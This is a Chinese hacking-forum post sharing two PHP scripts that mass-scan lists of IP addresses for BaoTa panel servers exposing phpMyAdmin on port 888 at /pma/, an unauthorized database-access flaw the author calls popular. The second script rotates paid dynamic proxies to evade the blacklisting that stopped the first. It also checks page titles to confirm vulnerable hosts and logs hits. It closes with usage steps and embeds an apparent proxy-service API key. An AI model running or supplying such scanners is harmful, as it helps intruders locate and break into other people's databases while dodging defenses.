电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 2390 人浏览分享

宝塔数据库绕过批量扫描php版

[复制链接]
2390 0
近日比较火的宝塔数据库越权
玩的不亦乐乎

dcS3rR.jpg

所以我也来论坛找找 但是看了一下 只有一个大佬发了文章
看来还是得自己写一个阿
  1. <?php
  2. $str = file_get_contents('./1.txt');//将整个文件内容读入到一个字符串中
  3. $str_encoding = mb_convert_encoding($str, 'UTF-8', 'UTF-8,GBK,GB2312,BIG5');//转换字符集 编码
  4. $arr = explode("\r\n", $str_encoding);//转换成数组
  5. foreach ($arr as &$row) {
  6. $row = trim($row);
  7. }
  8. unset($row);
  9. function httpcode($url){
  10.   $ch = curl_init();
  11.   $timeout = 10;
  12.   curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
  13.   curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  14.   curl_setopt($ch, CURLOPT_HEADER, 1);
  15.   curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
  16.   curl_setopt($ch,CURLOPT_URL,$url);
  17.   curl_exec($ch);
  18.   return $httpcode = curl_getinfo($ch,CURLINFO_HTTP_CODE);
  19.   curl_close($ch);
  20. }
  21. for ($i=0; $i < count($arr); $i++) {
  22.   $reg = httpcode("http://".$arr[$i].':888/pma/');
  23.     if ($reg == "200"){
  24.         $myfile = fopen("200.txt", "a+");
  25.         $txt = "http://".$arr[$i].":888/pma/\r\n";
  26.         fwrite($myfile, $txt);
  27.         fclose($myfile);
  28.         echo $arr[$i]."|200\r\n";
  29.   }else{
  30.     echo $arr[$i]."|".$reg."\n\r";
  31.   }
  32. }
  33. ?>
复制代码

但是扫还没5分钟就发现返回状态全是0

d6xbmq.jpg

那岂不是白费心思了
不行 得找找原因 发现全是被拉黑掉了
我淦 这谁顶得住啊

114043sbounuomenyjolvn.jpg.thumb.jpg

继而又写了一个php加代理访问
但是发现市面上的免费提取ip 真的卡的一批 而且多人用
所以我就开了一个会员版
我们来看看
  1. <?php
  2. $str = file_get_contents('./1.txt');//将整个文件内容读入到一个字符串中
  3. $str_encoding = mb_convert_encoding($str, 'UTF-8', 'UTF-8,GBK,GB2312,BIG5');//转换字符集(编码)
  4. $arr = explode("\r\n", $str_encoding);//转换成数组
  5. foreach ($arr as &$row) {
  6.     $row = trim($row);
  7. }
  8. unset($row);
  9.   function daili(){
  10.     $arr1 = file_get_contents("http://dynamic.goubanjia.com/dynamic/get/022732ad
  11. 594b63211bedf451d60f533d.html?sep=3");
  12.        return $arr1;
  13.   }
  14. function httpcode($url,$ip,$dk){
  15.   $ch = curl_init();
  16.   $timeout = 10;
  17.   curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
  18.   curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  19.   curl_setopt($ch, CURLOPT_PROXY, $ip); //代理服务器地址
  20.   curl_setopt($ch, CURLOPT_PROXYPORT,$dk); //代理服务器端口
  21.   curl_setopt($ch, CURLOPT_HEADER, 1);
  22.   curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
  23.   curl_setopt($ch,CURLOPT_URL,$url);
  24.   curl_exec($ch);
  25.   return $httpcode = curl_getinfo($ch,CURLINFO_HTTP_CODE);
  26.   curl_close($ch);
  27. }
  28. for ($i=0; $i < count($arr); $i++) {
  29.   $por = daili();
  30.   $pordk = explode(":",$por);
  31.   $reg = httpcode("http://".$arr[$i].':888/pma/',$pordk[0],$pordk[1]);
  32.     if ($reg == "200"){
  33.         $title = file_get_contents("http://".$arr[$i].':888/pma/');
  34.         $res = '/<title>.*?((localhost)|(127.0.0.1)).*?<\/title>/';
  35.         preg_match($res,$title,$arrone);
  36.       if ($arrone) {
  37.         $myfile = fopen("200.txt", "a+");
  38.         $txt = "http://".$arr[$i].":888/pma/\r\n";
  39.         fwrite($myfile, $txt);
  40.         fclose($myfile);
  41.         echo $arr[$i]."|200\r\n";
  42.     }
  43.   }else{
  44.     echo $arr[$i]."|".$reg."\n\r";
  45.   }
  46. }
  47. ?>
复制代码

二次改了一下正则获取状态200的title 判断是否真的存在
用法就不需要多说了
把扫描好的888端口ip放同目录下1.txt执行php即可
111933uwhwzadbd95awgn6.jpg.thumb.jpg

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.